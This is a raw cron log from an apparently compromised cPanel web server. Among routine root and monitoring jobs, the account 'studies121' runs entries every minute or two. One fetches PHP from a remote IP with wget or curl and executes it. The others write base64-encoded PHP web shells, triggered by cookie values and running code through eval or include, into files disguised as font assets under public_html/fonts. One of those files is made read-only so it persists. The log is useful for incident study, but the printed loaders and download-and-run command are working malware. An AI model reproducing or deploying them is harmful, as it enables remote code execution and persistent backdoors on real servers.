Sep  4 14:12:01 ip-184-168-122-23 CROND[4540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:12:01 ip-184-168-122-23 CROND[4542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:12:01 ip-184-168-122-23 CROND[4543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:13:01 ip-184-168-122-23 CROND[4619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:13:01 ip-184-168-122-23 CROND[4620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:13:01 ip-184-168-122-23 CROND[4621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:13:01 ip-184-168-122-23 CROND[4622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:14:01 ip-184-168-122-23 CROND[4725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:14:01 ip-184-168-122-23 CROND[4727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:14:01 ip-184-168-122-23 CROND[4729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:14:01 ip-184-168-122-23 CROND[4726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:14:01 ip-184-168-122-23 CROND[4728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:15:02 ip-184-168-122-23 CROND[4824]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:15:02 ip-184-168-122-23 CROND[4826]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:15:02 ip-184-168-122-23 CROND[4829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:15:02 ip-184-168-122-23 CROND[4827]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 14:15:02 ip-184-168-122-23 CROND[4828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:15:02 ip-184-168-122-23 CROND[4832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:15:02 ip-184-168-122-23 CROND[4831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:16:01 ip-184-168-122-23 CROND[4938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:16:01 ip-184-168-122-23 CROND[4934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:16:01 ip-184-168-122-23 CROND[4935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:16:01 ip-184-168-122-23 CROND[4936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:16:01 ip-184-168-122-23 CROND[4937]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 14:16:01 ip-184-168-122-23 CROND[4939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:17:01 ip-184-168-122-23 CROND[5041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:17:01 ip-184-168-122-23 CROND[5042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:17:01 ip-184-168-122-23 CROND[5043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:17:01 ip-184-168-122-23 CROND[5044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:18:01 ip-184-168-122-23 CROND[5149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:18:01 ip-184-168-122-23 CROND[5151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:18:01 ip-184-168-122-23 CROND[5150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:18:01 ip-184-168-122-23 CROND[5152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:18:01 ip-184-168-122-23 CROND[5153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:19:01 ip-184-168-122-23 CROND[5278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:19:01 ip-184-168-122-23 CROND[5281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:19:01 ip-184-168-122-23 CROND[5282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:19:01 ip-184-168-122-23 CROND[5280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:20:01 ip-184-168-122-23 CROND[5398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:20:01 ip-184-168-122-23 CROND[5402]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 14:20:01 ip-184-168-122-23 CROND[5399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:20:01 ip-184-168-122-23 CROND[5405]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 14:20:01 ip-184-168-122-23 CROND[5404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:20:01 ip-184-168-122-23 CROND[5400]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 14:20:01 ip-184-168-122-23 CROND[5403]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 14:20:01 ip-184-168-122-23 CROND[5406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:20:01 ip-184-168-122-23 CROND[5401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:21:01 ip-184-168-122-23 CROND[5503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:21:01 ip-184-168-122-23 CROND[5502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:21:01 ip-184-168-122-23 CROND[5505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:21:01 ip-184-168-122-23 CROND[5504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:22:01 ip-184-168-122-23 CROND[5681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:22:01 ip-184-168-122-23 CROND[5683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:22:01 ip-184-168-122-23 CROND[5684]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 14:22:01 ip-184-168-122-23 CROND[5685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:22:01 ip-184-168-122-23 CROND[5686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:23:01 ip-184-168-122-23 CROND[5802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 14:23:01 ip-184-168-122-23 CROND[5803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:23:01 ip-184-168-122-23 CROND[5805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 14:23:01 ip-184-168-122-23 CROND[5806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:24:02 ip-184-168-122-23 CROND[5881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:24:02 ip-184-168-122-23 CROND[5883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 14:24:02 ip-184-168-122-23 CROND[5884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
